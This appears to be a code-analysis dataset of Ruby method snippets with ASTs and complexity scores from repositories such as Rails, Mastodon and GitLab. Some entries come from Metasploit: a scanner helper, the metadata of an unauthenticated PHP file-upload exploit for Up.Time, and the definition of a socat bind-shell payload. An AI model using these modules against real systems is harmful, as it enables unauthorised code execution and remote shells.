{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/project_path_helper.rb","start_line":38,"raw_source":"def receiver(node)\n        node.children[0]\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"receiver\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"children\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}","id":"46bb5b39-75b9-45e1-b3ec-14edc237ad39"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/events.rb","start_line":21,"raw_source":"def register(hook, obj=nil, &blk)\n      if obj and blk\n        raise \"Specify either an object or a block, not both\"\n      end\n\n      h = obj || blk\n\n      @hooks[hook] << h\n\n      h\n    end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"register\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hook\"]},{\"type\":\"optarg\",\"children\":[\"obj\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"blk\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},{\"type\":\"lvar\",\"children\":[\"blk\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Specify either an object or a block, not both\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"h\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},{\"type\":\"lvar\",\"children\":[\"blk\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hooks\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"hook\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"h\"]}]},{\"type\":\"lvar\",\"children\":[\"h\"]}]}]}","id":"cd476730-4154-46b8-ac9c-8e318f649045"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/iis_shortname_scanner.rb","start_line":92,"raw_source":"def get_status(f, digit, match)\n    # Get response code for a file/folder\n    res2 = send_request_cgi({\n      'uri' => normalize_uri(@path, \"#{f}#{match}~#{digit}#{match}\"),\n      'method' => @verb\n    })\n    return res2.code\n  rescue NoMethodError\n    print_error(\"Unable to connect to #{datastore['RHOST']}\")\n  end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"get_status\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]},{\"type\":\"arg\",\"children\":[\"digit\"]},{\"type\":\"arg\",\"children\":[\"match\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res2\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"ivar\",\"children\":[\"@path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]}]},{\"type\":\"str\",\"children\":[\"~\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"digit\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"ivar\",\"children\":[\"@verb\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res2\"]},\"code\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NoMethodError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to connect to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]}]}]}]}]},null]}]}","id":"6a66d595-4438-43e3-a63d-cf6de12402d4"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/report_service.rb","start_line":44,"raw_source":"def notify_staff!\n    return if @report.unresolved_siblings?\n\n    User.those_who_can(:manage_reports).includes(:account).find_each do |u|\n      LocalNotificationWorker.perform_async(u.account_id, @report.id, 'Report', 'admin.report')\n      AdminMailer.with(recipient: u.account).new_report(@report).deliver_later if u.allows_report_emails?\n    end\n  end","complexity_score":19.4,"ast_json":"{\"type\":\"def\",\"children\":[\"notify_staff!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report\"]},\"unresolved_siblings?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"those_who_can\",{\"type\":\"sym\",\"children\":[\"manage_reports\"]}]},\"includes\",{\"type\":\"sym\",\"children\":[\"account\"]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"u\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LocalNotificationWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"account_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report\"]},\"id\"]},{\"type\":\"str\",\"children\":[\"Report\"]},{\"type\":\"str\",\"children\":[\"admin.report\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"allows_report_emails?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AdminMailer\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"recipient\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"account\"]}]}]}]},\"new_report\",{\"type\":\"ivar\",\"children\":[\"@report\"]}]},\"deliver_later\"]},null]}]}]}]}]}","id":"8d6ee035-4780-407b-b402-d705696e7a3f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/custom_actions/actions/status.rb","start_line":44,"raw_source":"def associated\n    Status\n      .select(:id, :name)\n      .order(:name)\n      .map { |u| [u.id, u.name] }\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"associated\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Status\"]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"name\"]}]},\"order\",{\"type\":\"sym\",\"children\":[\"name\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"u\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"name\"]}]}]}]}","id":"4e6618fa-7f97-48df-b31c-3bf152401275"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/git_tag_exists.rb","start_line":4,"raw_source":"def self.run(params)\n        tag_ref = \"refs/tags/#{params[:tag].shellescape}\"\n        if params[:remote]\n          command = \"git ls-remote -q --exit-code #{params[:remote_name].shellescape} #{tag_ref}\"\n        else\n          command = \"git rev-parse -q --verify #{tag_ref}\"\n        end\n        exists = true\n        Actions.sh(\n          command,\n          log: FastlaneCore::Globals.verbose?,\n          error_callback: ->(result) { exists = false }\n        )\n        exists\n      end","complexity_score":15.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tag_ref\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"refs/tags/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tag\"]}]},\"shellescape\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"remote\"]}]},{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"git ls-remote -q --exit-code \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"remote_name\"]}]},\"shellescape\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_ref\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"git rev-parse -q --verify \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_ref\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"exists\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"sh\",{\"type\":\"lvar\",\"children\":[\"command\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"log\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Globals\"]},\"verbose?\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error_callback\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"lvasgn\",\"children\":[\"exists\",{\"type\":\"false\",\"children\":[]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"exists\"]}]}]}","id":"465c9743-2262-4c35-8531-9c79dad7b186"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/uptime_file_upload_1.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Idera Up.Time Monitoring Station 7.0 post2file.php Arbitrary File Upload',\n        'Description' => %q{\n          This module exploits an arbitrary file upload vulnerability found within the Up.Time\n          monitoring server 7.2 and below. A malicious entity can upload a PHP file into the\n          webroot without authentication, leading to arbitrary code execution.\n\n          Although the vendor fixed Up.Time to prevent this vulnerability, it was not properly\n          mitigated. To exploit against a newer version of Up.Time (such as 7.4), please use\n          exploits/multi/http/uptime_file_upload_2.\n        },\n        'Author' => [\n          'Denis Andzakovic <denis.andzakovic[at]security-assessment.com>' # Vulnerability discoverey and MSF module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2025-34121' ],\n          [ 'OSVDB', '100423' ],\n          [ 'BID', '64031'],\n          [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Up.Time%207.2%20-%20Arbitrary%20File%20Upload.pdf' ]\n        ],\n        'Payload' => {\n          'Space' => 10000, # just a big enough number to fit any PHP payload\n          'DisableNops' => true\n        },\n        'Platform' => 'php',\n        'Arch' => ARCH_PHP,\n        'Targets' => [\n          [ 'Up.Time 7.0/7.2', {} ],\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2013-11-19',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('TARGETURI', [true, 'The full URI path to the Up.Time instance', '/']),\n      Opt::RPORT(9999)\n    ])\n  end","complexity_score":7.05,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Idera Up.Time Monitoring Station 7.0 post2file.php Arbitrary File Upload\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits an arbitrary file upload vulnerability found within the Up.Time\\n\"]},{\"type\":\"str\",\"children\":[\"          monitoring server 7.2 and below. A malicious entity can upload a PHP file into the\\n\"]},{\"type\":\"str\",\"children\":[\"          webroot without authentication, leading to arbitrary code execution.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Although the vendor fixed Up.Time to prevent this vulnerability, it was not properly\\n\"]},{\"type\":\"str\",\"children\":[\"          mitigated. To exploit against a newer version of Up.Time (such as 7.4), please use\\n\"]},{\"type\":\"str\",\"children\":[\"          exploits/multi/http/uptime_file_upload_2.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Denis Andzakovic <denis.andzakovic[at]security-assessment.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2025-34121\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"100423\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"64031\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.security-assessment.com/files/documents/advisory/Up.Time%207.2%20-%20Arbitrary%20File%20Upload.pdf\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[10000]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"php\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Up.Time 7.0/7.2\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2013-11-19\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The full URI path to the Up.Time instance\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[9999]}]}]}]}]}]}","id":"1e637941-1a61-4178-a8fd-85d8003cd14e"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/array/conversions.rb","start_line":60,"raw_source":"def to_sentence(options = {})\n    options.assert_valid_keys(:words_connector, :two_words_connector, :last_word_connector, :locale)\n\n    default_connectors = {\n      words_connector: \", \",\n      two_words_connector: \" and \",\n      last_word_connector: \", and \"\n    }\n    if options[:locale] != false && defined?(I18n)\n      i18n_connectors = I18n.translate(:'support.array', locale: options[:locale], default: {})\n      default_connectors.merge!(i18n_connectors)\n    end\n    options = default_connectors.merge!(options)\n\n    case length\n    when 0\n      +\"\"\n    when 1\n      +\"#{self[0]}\"\n    when 2\n      +\"#{self[0]}#{options[:two_words_connector]}#{self[1]}\"\n    else\n      +\"#{self[0...-1].join(options[:words_connector])}#{options[:last_word_connector]}#{self[-1]}\"\n    end\n  end","complexity_score":37.9,"ast_json":"{\"type\":\"def\",\"children\":[\"to_sentence\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"assert_valid_keys\",{\"type\":\"sym\",\"children\":[\"words_connector\"]},{\"type\":\"sym\",\"children\":[\"two_words_connector\"]},{\"type\":\"sym\",\"children\":[\"last_word_connector\"]},{\"type\":\"sym\",\"children\":[\"locale\"]}]},{\"type\":\"lvasgn\",\"children\":[\"default_connectors\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"words_connector\"]},{\"type\":\"str\",\"children\":[\", \"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"two_words_connector\"]},{\"type\":\"str\",\"children\":[\" and \"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_word_connector\"]},{\"type\":\"str\",\"children\":[\", and \"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"locale\"]}]},\"!=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"defined?\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"i18n_connectors\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"translate\",{\"type\":\"sym\",\"children\":[\"support.array\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"locale\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"hash\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"default_connectors\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"i18n_connectors\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"default_connectors\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"length\"]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]},\"+@\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"two_words_connector\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},\"+@\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[-1]}]}]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"words_connector\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"last_word_connector\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"int\",\"children\":[-1]}]}]}]},\"+@\"]}]}]}]}","id":"03728ebc-8b93-43e0-a398-70102162a065"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_packages/spent_time.rb","start_line":53,"raw_source":"def compute_spent_hours(user)\n    WorkPackage.include_spent_time(user, self)\n      .pluck(Arel.sql(\"SUM(hours)\"))\n      .first\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"compute_spent_hours\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"include_spent_time\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"self\",\"children\":[]}]},\"pluck\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"str\",\"children\":[\"SUM(hours)\"]}]}]},\"first\"]}]}","id":"4c5afeef-a7b3-4a6c-8ef4-bfbf74d6c4ba"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/cmd/unix/bind_socat_udp.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      merge_info(\n        info,\n        'Name' => 'Unix Command Shell, Bind UDP (via socat)',\n        'Description' => 'Creates an interactive shell via socat',\n        'Author' => 'RageLtMan <rageltman[at]sempervictus>',\n        'License' => MSF_LICENSE,\n        'Platform' => 'unix',\n        'Arch' => ARCH_CMD,\n        'Handler' => Msf::Handler::BindUdp,\n        'Session' => Msf::Sessions::CommandShell,\n        'PayloadType' => 'cmd',\n        'RequiredCmd' => 'socat',\n        'Payload' => {\n          'Offsets' => {},\n          'Payload' => ''\n        }\n      )\n    )\n    register_advanced_options(\n      [\n        OptString.new('SocatPath', [true, 'The path to the Socat executable', 'socat']),\n        OptString.new('BashPath', [true, 'The path to the Bash executable', 'bash'])\n      ]\n    )\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Unix Command Shell, Bind UDP (via socat)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Creates an interactive shell via socat\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"RageLtMan <rageltman[at]sempervictus>\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Handler\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Handler\"]},\"BindUdp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Session\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Sessions\"]},\"CommandShell\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequiredCmd\"]},{\"type\":\"str\",\"children\":[\"socat\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offsets\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"SocatPath\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The path to the Socat executable\"]},{\"type\":\"str\",\"children\":[\"socat\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"BashPath\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The path to the Bash executable\"]},{\"type\":\"str\",\"children\":[\"bash\"]}]}]}]}]}]}]}","id":"ec15133d-3ace-4170-bd80-ac59cf429d82"}
